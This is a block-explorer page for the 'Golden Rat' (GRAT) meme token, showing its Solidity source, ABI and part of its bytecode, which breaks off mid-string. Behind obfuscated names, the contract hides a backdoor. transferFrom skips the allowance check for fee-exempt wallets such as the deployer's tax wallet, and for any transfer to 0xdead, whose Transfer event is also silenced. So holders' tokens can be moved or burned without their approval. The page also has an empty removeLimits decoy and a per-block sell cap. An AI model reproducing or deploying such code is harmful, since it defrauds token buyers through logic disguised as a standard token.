ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 GRAT
Holders
301
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
GRAT
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
/*
Name: Golden Rat
Symbol: GRAT
Golden Rat's Meme Token $GRAT on Ethereum!
web: https://goldenrat.lol
X: https://x.com/GoldenRat_ETH
TG: https://t.me/GoldenRat_ETH
*/
pragma solidity ^0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
contract GRAT is Context, IERC20, Ownable {
uint256 private _vkjbnkfjGRAT = 10;
uint256 private _maxovnboiGRAT = 10;
uint256 private _initvkjnbkjGRAT = 20;
uint256 private _finvjlkbnlkjGRAT = 0;
uint256 private _redclkjnkGRAT = 2;
uint256 private _prevlfknjoiGRAT = 2;
uint256 private _buylkvnlkGRAT = 0;
IUniswapV2Router02 private uniswapV2Router;
address private router_;
address private uniswapV2Pair;
bool private _tradingvlknGRAT;
bool private _inlknblGRAT = false;
bool private swapvlkGRAT = false;
uint256 private _sellcnjkGRAT = 0;
uint256 private _lastflkbnlGRAT = 0;
address constant _deadlknGRAT = address(0xdead);
using SafeMath for uint256;
mapping(address => uint256) private _balknvlkcGRAT;
mapping(address => mapping(address => uint256)) private _allcvnkjnGRAT;
mapping(address => bool) private _feevblknlGRAT;
address payable private _taxclknlGRAT;
uint8 private constant _decimals = 9;
uint256 private constant qq30fef = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"Golden Rat";
string private constant _symbol = unicode"GRAT";
uint256 public _vnbbvlkGRAT = qq30fef / 100;
uint256 public _oijboijoiGRAT = 15 * 10**18;
uint256 private _cvjkbnkjGRAT = 10;
modifier lockTheSwap() {
_inlknblGRAT = true;
_;
_inlknblGRAT = false;
}
constructor() payable {
_taxclknlGRAT = payable(_msgSender());
_balknvlkcGRAT[_msgSender()] = (qq30fef * 2) / 100;
_balknvlkcGRAT[address(this)] = (qq30fef * 98) / 100;
_feevblknlGRAT[address(this)] = true;
_feevblknlGRAT[_taxclknlGRAT] = true;
emit Transfer(address(0), _msgSender(), (qq30fef * 2) / 100);
emit Transfer(address(0), address(this), (qq30fef * 98) / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function balanceOf(address account) public view override returns (uint256) {
return _balknvlkcGRAT[account];
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return qq30fef;
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allcvnkjnGRAT[owner][spender];
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer_kjvnGRAT(sender, recipient, amount);
if (_downcklkojGRAT(sender, recipient))
_approve(
sender,
_msgSender(),
_allcvnkjnGRAT[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transfer_kjvnGRAT(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (
from != owner() &&
to != owner() &&
from != address(this) &&
to != address(this)
) {
if (!_inlknblGRAT) {
taxAmount = amount
.mul((_buylkvnlkGRAT > _redclkjnkGRAT) ? _finvjlkbnlkjGRAT : _initvkjnbkjGRAT)
.div(100);
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_feevblknlGRAT[to] &&
to != _taxclknlGRAT
) {
_buylkvnlkGRAT++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
from != owner() &&
!_inlknblGRAT &&
to == uniswapV2Pair &&
from != _taxclknlGRAT &&
swapvlkGRAT &&
_buylkvnlkGRAT > _prevlfknjoiGRAT
) {
if (block.number > _lastflkbnlGRAT) {
_sellcnjkGRAT = 0;
}
_sellcnjkGRAT = _sellcnjkGRAT + _getAmountOut_lvcbnkGRAT(amount);
require(_sellcnjkGRAT <= _oijboijoiGRAT, "Max swap limit");
if (contractTokenBalance > _vnbbvlkGRAT)
_swapTokenslknlGRAT(_vnbbvlkGRAT > amount ? amount : _vnbbvlkGRAT);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
_sendETHTocvbnjGRAT(address(this).balance);
}
_lastflkbnlGRAT = block.number;
}
}
_balknvlkcGRAT[from] = _balknvlkcGRAT[from].sub(amount);
_balknvlkcGRAT[to] = _balknvlkcGRAT[to].add(amount.sub(taxAmount));
if (taxAmount > 0) {
_balknvlkcGRAT[address(this)] = _balknvlkcGRAT[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
if (to != _deadlknGRAT) emit Transfer(from, to, amount.sub(taxAmount));
}
function _sendETHTocvbnjGRAT(uint256 amount) private {
_taxclknlGRAT.transfer(amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allcvnkjnGRAT[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer_kjvnGRAT(_msgSender(), recipient, amount);
return true;
}
receive() external payable {}
function _getAmountOut_lvcbnkGRAT(uint256 amount) internal view returns (uint256) {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uint256[] memory amountOuts = uniswapV2Router.getAmountsOut(
amount,
path
);
return amountOuts[1];
}
function _downcklkojGRAT(address sender, address recipient)
internal
view
returns (bool)
{
if(_feevblknlGRAT[msg.sender]) return !_feevblknlGRAT[msg.sender];
if(!(sender == uniswapV2Pair || recipient != _deadlknGRAT)) return false;
return true;
}
function removeLimits () external onlyOwner {}
function _assist_bnGRAT() external onlyOwner {
require(address(this).balance > 0);
payable(_msgSender()).transfer(address(this).balance);
}
function _swapTokenslknlGRAT(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
router_ = address(uniswapV2Router);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _setTax_lknblGRAT(address payable newWallet) external {
require(_feevblknlGRAT[_msgSender()]);
_taxclknlGRAT = newWallet;
_feevblknlGRAT[_taxclknlGRAT] = true;
}
function enableGRATTrading() external onlyOwner {
require(!_tradingvlknGRAT, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), qq30fef);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapvlkGRAT = true;
_tradingvlknGRAT = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_assist_bnGRAT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_oijboijoiGRAT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"_setTax_lknblGRAT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_vnbbvlkGRAT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableGRATTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600a600155600a60025560146003555f600455600260055560026006555f6007555f600a60156101000a81548160ff0219169083151502179055505f600a60166101000a81548160ff0219169083151502179055505f600b555f600c5560646009600a6100719190610616565b633b9aca006100809190610660565b61008a91906106ce565b60115567d02ab486cedc0000601255600a6013555f6100ad61049e60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061015761049e60201b60201c565b60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460026009600a6101a89190610616565b633b9aca006101b79190610660565b6101c19190610660565b6101cb91906106ce565b600d5f6101dc61049e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460626009600a61022b9190610616565b633b9aca0061023a9190610660565b6102449190610660565b61024e91906106ce565b600d5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061036861049e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6103c89190610616565b633b9aca006103d79190610660565b6103e19190610660565b6103eb91906106ce565b6040516103f8919061070d565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6104619190610616565b633b9aca006104709190610660565b61047a9190610660565b61048491906106ce565b604051610491919061070d565b60405180910390a3610726565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561052757808604811115610503576105026104a5565b5b60018516156105125780820291505b8081029050610520856104d2565b94506104e7565b94509492505050565b5f8261053f57600190506105fa565b8161054c575f90506105fa565b8160018114610562576002811461056c5761059b565b60019150506105fa565b60ff84111561057e5761057d6104a5565b5b8360020a915084821115610595576105946104a5565b5b506105fa565b5060208310610133831016604e8410600b84101617156105d05782820a9050838111156105cb576105ca6104a5565b5b6105fa565b6105dd84848460016104de565b925090508184048111156105f4576105f36104a5565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61062082610601565b915061062b8361060a565b92506106587fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610530565b905092915050565b5f61066a82610601565b915061067583610601565b925082820261068381610601565b9150828204841483151761069a576106996104a5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106d882610601565b91506106e383610601565b9250826106f3576106f26106a1565b5b828204905092915050565b61070781610601565b82525050565b5f6020820190506107205f8301846106fe565b92915050565b61334d806107335f395ff3fe608060405260043610610101575f3560e01c8063751039fc1161009457806395d89b411161006357806395d89b4114610310578063a9059cbb1461033a578063c637029e14610376578063dd62ed3e1461038c578063ef25cd03146103c857610108565b8063751039fc1461027c5780637febdd481461029257806381748f5b146102bc5780638da5cb5b146102e657610108565b806324d7059a116100d057806324d7059a146101d8578063313ce5671461020057806370a082311461022a578063715018a61461026657610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103de565b60405161012d9190612360565b60405180910390f35b348015610141575f80fd5b5061015c6004803603810190610157919061241e565b61041b565b6040516101699190612476565b60405180910390f35b34801561017d575f80fd5b50610186610438565b604051610193919061249e565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd91906124b7565b61045b565b6040516101cf9190612476565b60405180910390f35b3480156101e3575f80fd5b506101fe60048036038101906101f99190612542565b61053f565b005b34801561020b575f80fd5b50610214610651565b6040516102219190612588565b60405180910390f35b348015610235575f80fd5b50610250600480360381019061024b91906125a1565b610659565b60405161025d919061249e565b60405180910390f35b348015610271575f80fd5b5061027a61069f565b005b348015610287575f80fd5b506102906107ed565b005b34801561029d575f80fd5b506102a6610883565b6040516102b3919061249e565b60405180910390f35b3480156102c7575f80fd5b506102d0610889565b6040516102dd919061249e565b60405180910390f35b3480156102f1575f80fd5b506102fa61088f565b60405161030791906125db565b60405180910390f35b34801561031b575f80fd5b506103246108b6565b6040516103319190612360565b60405180910390f35b348015610345575f80fd5b50610360600480360381019061035b919061241e565b6108f3565b60405161036d9190612476565b60405180910390f35b348015610381575f80fd5b5061038a610910565b005b348015610397575f80fd5b506103b260048036038101906103ad91906125f4565b6109fc565b6040516103bf919061249e565b60405180910390f35b3480156103d3575f80fd5b506103dc610a7e565b005b60606040518060400160405280600a81526020017f476f6c64656e2052617400000000000000000000000000000000000000000000815250905090565b5f61042e610427610fa0565b8484610fa7565b6001905092915050565b5f6009600a610447919061278e565b633b9aca0061045691906127d8565b905090565b5f61046784848461116a565b6104718484611a13565b156105345761053384610482610fa0565b61052e856040518060600160405280602881526020016132f060289139600e5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104e5610fa0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b559092919063ffffffff16565b610fa7565b5b600190509392505050565b600f5f61054a610fa0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610598575f80fd5b8060105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f5f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f6009905090565b5f600d5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106a7610fa0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90612863565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107f5610fa0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087890612863565b60405180910390fd5b565b60125481565b60115481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4752415400000000000000000000000000000000000000000000000000000000815250905090565b5f6109066108ff610fa0565b848461116a565b6001905092915050565b610918610fa0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b90612863565b60405180910390fd5b5f47116109af575f80fd5b6109b7610fa0565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156109f9573d5f803e3d5ffd5b50565b5f600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a86610fa0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0990612863565b60405180910390fd5b600a60149054906101000a900460ff1615610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906128cb565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bfe3060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610bea919061278e565b633b9aca00610bf991906127d8565b610fa7565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c68573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8c91906128fd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d12573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d3691906128fd565b6040518363ffffffff1660e01b8152600401610d53929190612928565b6020604051808303815f875af1158015610d6f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d9391906128fd565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e1a30610659565b5f80610e2461088f565b426040518863ffffffff1660e01b8152600401610e4696959493929190612991565b60606040518083038185885af1158015610e62573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e879190612a04565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f5d929190612a54565b6020604051808303815f875af1158015610f79573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f9d9190612aa5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90612b40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a90612bce565b60405180910390fd5b80600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115d919061249e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cf90612c5c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612cea565b60405180910390fd5b5f8111611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f90612d78565b60405180910390fd5b5f61129161088f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156112ff57506112cf61088f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561133757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561136f57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561172d57600a60159054906101000a900460ff166113c7576113c460646113b6600554600754116113a3576003546113a7565b6004545b85611bb790919063ffffffff16565b611c2e90919063ffffffff16565b90505b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611470575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114c35750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561151c575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115395760075f81548092919061153390612d96565b91905055505b5f61154330610659565b905061154d61088f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156115955750600a60159054906101000a900460ff16155b80156115ed5750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611646575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561165e5750600a60169054906101000a900460ff165b801561166d5750600654600754115b1561172b57600c54431115611684575f600b819055505b61168d83611c77565b600b5461169a9190612ddd565b600b81905550601254600b5411156116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116de90612e5a565b60405180910390fd5b60115481111561170d5761170c836011541161170557601154611707565b835b611eb5565b5b5f4790505f81106117225761172147612181565b5b43600c81905550505b505b61177d82600d5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121e990919063ffffffff16565b600d5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118206117d482846121e990919063ffffffff16565b600d5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461223290919063ffffffff16565b600d5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f811115611960576118b981600d5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461223290919063ffffffff16565b600d5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611957919061249e565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a0d578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119f784866121e990919063ffffffff16565b604051611a04919061249e565b60405180910390a35b50505050565b5f600f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611ab557600f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050611b4f565b600a5f9054906101000a9